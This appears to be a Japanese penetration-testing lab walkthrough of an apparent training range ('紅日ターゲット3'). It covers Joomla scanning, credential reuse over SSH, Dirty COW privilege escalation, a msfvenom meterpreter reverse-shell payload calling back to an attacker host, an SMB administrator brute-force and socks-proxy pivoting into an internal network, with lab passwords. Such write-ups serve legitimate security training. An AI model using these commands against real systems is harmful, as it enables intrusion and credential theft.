紅日ターゲット3
作業を完了するためには、サーバーを再起動しない方が良い場合があります。CentOSのネットワークサービスを再起動するには以下を使用します。
<span class="command">ネットワークサービスをリスタート</span> service network restart <span class="command">ネットワークインターフェースを再起動</span> ifdown eth0 && ifup eth0
外部ネットワークからのアクセスIPは192.168.163.128です。
このターゲットはJoomla CMSを使用しています。Kaliにバンドルされているjoomscanツールを用いてスキャンを行い、管理画面へのパスを検出しました。
- http://192.168.163.128/administrator/
- http://192.168.163.128/configuration.php~
ログイン後の管理画面からユーザーのパスワードを変更し、サーバーの設定を確認しました。しかし、任意のコマンドを実行しても「ret=127」のみが返却されるため、サーバーに「disable_functions」が設定されている可能性があります。
このターゲットはUbuntuのWebサーバー(web1)を反向プロキシとしていることが分かりました。
正向プロキシと反向プロキシの違い
同様に、正向プロキシと反向プロキシはクライアントとサーバーの間で機能しますが、目的と役割は異なります。
- 正向プロキシはクライアントの代理として、サーバーにアクセスできない場合に利用されます。
- 反向プロキシはサーバーの代理として、負荷分散やセキュリティ保護などの目的で使用されます。
- 正向プロキシではサーバーが直接のクライアントを認識しません。反向プロキシではクライアントが真正なサーバーを認識しません。
- 正向プロキシはアクセス制限の回避に使われますが、反向プロキシはセキュリティ強化や負荷分散に使われます。
ログイン後のサーバーで「wwwuser:wwwuser_123Aqx」のユーザー資格情報を発見し、SSHを使用してCentOSの普通ユーザー権限を取得しました。
特権昇格
今回は「Dirty COW」脆弱性を活用して特権昇格を試みました。
MSFを使用した攻撃
以下のような攻撃フローを作成しました。
<span class="attack-flow">Kali (MSF)</span> ↓ リバース接続 <span class="attack-flow">CentOS (root + meterpreter)</span> ↓ 内部ネットワークへのアクセス <span class="attack-flow">192.168.93.0/24 内部ネットワーク</span>
まず、リバース接続用のshellcodeを作成します。
<span class="command">shellcode生成</span> msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.111.132 LPORT=7890 -f elf > mshell.elf
生成した「mshell.elf」をCentOSに転送し、リバース接続を待ち受けします。
内部ネットワーク探索
内部ネットワークにあるホストを検出します。
<span class="command">SMBバージョンスキャン</span> use auxiliary/scanner/smb/smb_version set rhosts 192.168.93.0/24 exploit
結果として以下のホストが検出されました。
- 192.168.93.10
- 192.168.93.20
- 192.168.93.30
パスワード爆破
管理ユーザーのパスワードを爆破します。
<span class="command">SMBログイン爆破</span> use auxiliary/scanner/smb/smb_login set SMBUSER administrator set PASS_FILE /root/pass.txt set rhosts 192.168.93.20 run
パスワードは「zxcASDqw123!!」でした。
内部ネットワークへのルーティング
内部ネットワークへアクセスするためには、ルーティングとsocksプロキシの構築が必要です。
<span class="command">ルートテーブルにルートを追加</span> route add 0.0.0.0 0.0.0.0 1 <span class="command">socks4aプロキシの構築</span> use auxiliary/server/socks4a set SRVHOST 0.0.0.0 set SRVPORT 1080 run <span class="command">socks5プロキシの構築</span> use auxiliary/server/socks5 set SRVHOST 0.0.0.0 set SRVPORT 1080 set USERNAME root set PASSWORD Password@ run